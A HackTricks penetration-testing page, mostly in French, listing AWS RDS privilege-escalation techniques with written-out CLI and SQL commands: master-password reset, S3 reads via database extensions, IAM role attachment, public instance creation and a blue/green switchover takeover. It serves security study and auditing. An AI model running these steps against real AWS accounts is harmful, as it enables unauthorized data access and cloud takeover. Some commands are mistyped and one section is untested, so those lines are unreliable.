AWS - RDS Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

RDS - Relational Database Service

Pour plus d’informations sur RDS, consultez :

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Avec cette permission, un attaquant peut modifier le mot de passe du master user, et le login Ă  l’intĂ©rieur de la base de donnĂ©es:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Warning

Vous devrez ĂȘtre capable de contacter la base de donnĂ©es (elles sont gĂ©nĂ©ralement accessibles uniquement depuis des rĂ©seaux internes).

Impact potentiel : Trouver des informations sensibles Ă  l’intĂ©rieur des bases de donnĂ©es.

rds-db:connect

According to the docs a user with this permission could connect to the DB instance.

Abuse RDS Role IAM permissions

Postgresql (Aurora)

Tip

If running SELECT datname FROM pg_database; you find a database called rdsadmin you know you are inside an AWS postgresql database.

Tout d’abord, vous pouvez vĂ©rifier si cette base de donnĂ©es a Ă©tĂ© utilisĂ©e pour accĂ©der Ă  d’autres services AWS. Vous pouvez vĂ©rifier cela en regardant les extensions installĂ©es :

SELECT * FROM pg_extension;

Si vous trouvez quelque chose comme aws_s3, vous pouvez supposer que cette base de donnĂ©es a un accĂšs quelconque Ă  S3 (il existe d’autres extensions comme aws_ml et aws_lambda).

De plus, si vous avez les permissions pour exĂ©cuter aws rds describe-db-clusters, vous pouvez y voir si le cluster a un IAM Role attachĂ© dans le champ AssociatedRoles. Si c’est le cas, vous pouvez supposer que la base de donnĂ©es a Ă©tĂ© prĂ©parĂ©e pour accĂ©der Ă  d’autres services AWS. D’aprĂšs le nom du rĂŽle (ou si vous pouvez obtenir les permissions du rĂŽle), vous pouvez deviner quels accĂšs supplĂ©mentaires la base de donnĂ©es possĂšde.

Maintenant, pour lire un fichier dans un bucket vous devez connaĂźtre le chemin complet. Vous pouvez le lire avec :

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Si vous aviez des identifiants AWS bruts, vous pourriez également les utiliser pour accéder aux données S3 avec :

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Note

Postgresql n’a pas besoin de modifier une variable de groupe de paramĂštres pour pouvoir accĂ©der Ă  S3.

Mysql (Aurora)

Tip

Dans un mysql, si vous exĂ©cutez la requĂȘte SELECT User, Host FROM mysql.user; et qu’il existe un utilisateur appelĂ© rdsadmin, vous pouvez supposer que vous ĂȘtes Ă  l’intĂ©rieur d’une AWS RDS mysql db.

À l’intĂ©rieur du mysql, exĂ©cutez show variables; et si des variables telles que aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role ont des valeurs, vous pouvez supposer que la base de donnĂ©es est prĂ©parĂ©e pour accĂ©der aux donnĂ©es S3.

De plus, si vous avez les permissions pour exécuter aws rds describe-db-clusters vous pouvez vérifier si le cluster a un rÎle associé, ce qui signifie généralement un accÚs aux services AWS).

Maintenant, pour lire un fichier inside a bucket vous devez connaĂźtre le chemin complet. Vous pouvez le lire avec:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Un attaquant disposant des permissions rds:AddRoleToDBCluster et iam:PassRole peut ajouter un rĂŽle spĂ©cifiĂ© Ă  une instance RDS existante. Cela pourrait permettre Ă  l’attaquant d’accĂ©der Ă  des donnĂ©es sensibles ou de modifier les donnĂ©es contenues dans l’instance.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Impact potentiel: AccĂšs Ă  des donnĂ©es sensibles ou modifications non autorisĂ©es des donnĂ©es dans l’instance RDS.
Notez que certaines bases de données nécessitent des configurations supplémentaires, comme Mysql, qui nécessite également de spécifier le role ARN dans les parameter groups.

rds:CreateDBInstance

Avec cette seule permission, un attaquant pourrait crĂ©er une nouvelle instance Ă  l’intĂ©rieur d’un cluster qui existe dĂ©jĂ  et auquel est attachĂ© un IAM role. Il ne pourra pas changer le mot de passe du master user, mais il pourrait exposer la nouvelle instance de base de donnĂ©es Ă  Internet:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

Note

TODO : Tester

Un attaquant disposant des permissions rds:CreateDBInstance et iam:PassRole peut crĂ©er une nouvelle instance RDS avec un rĂŽle spĂ©cifiĂ© attachĂ©. L’attaquant peut alors potentiellement accĂ©der Ă  des donnĂ©es sensibles ou modifier les donnĂ©es contenues dans l’instance.

Warning

Quelques exigences du rĂŽle/instance-profile Ă  attacher (from here):

  • The profile must exist in your account.
  • The profile must have an IAM role that Amazon EC2 has permissions to assume.
  • The instance profile name and the associated IAM role name must start with the prefix AWSRDSCustom .
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Impact potentiel : AccĂšs Ă  des donnĂ©es sensibles ou modifications non autorisĂ©es des donnĂ©es dans l’instance RDS.

rds:AddRoleToDBInstance, iam:PassRole

Un attaquant disposant des permissions rds:AddRoleToDBInstance et iam:PassRole peut ajouter un rĂŽle spĂ©cifiĂ© Ă  une instance RDS existante. Cela pourrait permettre Ă  l’attaquant d’accĂ©der Ă  des donnĂ©es sensibles ou de modifier les donnĂ©es contenues dans l’instance.

Warning

L’instance DB doit ĂȘtre en dehors d’un cluster pour cela

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Impact potentiel: AccĂšs Ă  des donnĂ©es sensibles ou modifications non autorisĂ©es des donnĂ©es de l’instance RDS.

rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment

Un attaquant disposant de ces permissions peut cloner une base de donnĂ©es de production (Blue), attacher un rĂŽle IAM Ă  hautes privilĂšges au clone (Green), puis utiliser switchover pour remplacer l’environnement de production. Cela permet Ă  l’attaquant d’élever les privilĂšges de la base de donnĂ©es et d’obtenir un accĂšs non autorisĂ© Ă  d’autres ressources AWS.

# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>

# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>

# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>

Impact potentiel: Prise de contrĂŽle complĂšte de l’environnement de base de donnĂ©es de production. AprĂšs la bascule, la base de donnĂ©es fonctionne avec des privilĂšges Ă©levĂ©s, permettant un accĂšs non autorisĂ© Ă  d’autres services AWS (p.ex., S3, Lambda, Secrets Manager) depuis la base de donnĂ©es.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks